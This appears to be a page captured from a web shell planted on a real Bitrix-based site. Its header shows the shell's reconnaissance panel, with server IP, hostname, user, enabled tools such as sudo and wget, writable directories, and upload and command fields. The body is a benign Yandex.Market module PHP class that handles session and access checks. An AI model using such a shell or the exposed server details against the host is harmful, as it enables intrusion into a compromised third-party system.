403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/yandex.market/lib/ui/reference/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/yandex.market/lib/ui/reference/page.php
<?php

namespace Yandex\Market\Ui\Reference;

use Yandex\Market;
use Bitrix\Main;

Main\Localization\Loc::loadMessages(__FILE__);

abstract class Page
{
	protected $request;
	protected $warnings = [];

	public function __construct(Main\HttpRequest $request = null)
	{
		$this->request = $request !== null ? $request : Main\Context::getCurrent()->getRequest();
	}

	public function checkSession()
	{
		if (!check_bitrix_sessid())
		{
			throw new Main\SystemException(Market\Config::getLang('SESSION_EXPIRED'));
		}
	}

	public function checkReadAccess()
	{
		$rights = $this->getReadRights();

		if (!$this->isAuthorized($rights))
		{
			throw new Main\AccessDeniedException(Market\Config::getLang('READ_ACCESS_DENIED'));
		}
	}

	protected function getReadRights()
	{
		return Market\Ui\Access::RIGHTS_READ;
	}

	public function checkWriteAccess()
	{
		$rights = $this->getWriteRights();

		if (!$this->isAuthorized($rights))
		{
			throw new Main\AccessDeniedException(Market\Config::getLang('WRITE_ACCESS_DENIED'));
		}
	}

	protected function getWriteRights()
	{
		return Market\Ui\Access::RIGHTS_WRITE;
	}

	public function loadModules()
	{
		$modules = $this->getRequiredModules();

		foreach ($modules as $module)
		{
			if (!Main\Loader::includeModule($module))
			{
				throw new Main\SystemException(Market\Config::getLang('REQUIRE_MODULE', [ '#MODULE#' => $module ]));
			}
		}
	}

	public function getRequiredModules()
	{
		return [];
	}

	public function isAuthorized($level)
	{
		return Market\Ui\Access::hasRights($level);
	}

	public function refreshPage()
	{
		global $APPLICATION;

		$url = $APPLICATION->GetCurPageParam('', [ 'action', 'sessid' ]);

		LocalRedirect($url);
	}

	public function addWarning($message)
	{
		$this->warnings[] = $message;
	}

	public function hasWarnings()
	{
		return !empty($this->warnings);
	}

	public function showWarnings()
	{
		\CAdminMessage::ShowMessage([
			'TYPE' => 'ERROR',
			'MESSAGE' => implode('<br />', $this->warnings),
			'HTML' => true
		]);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit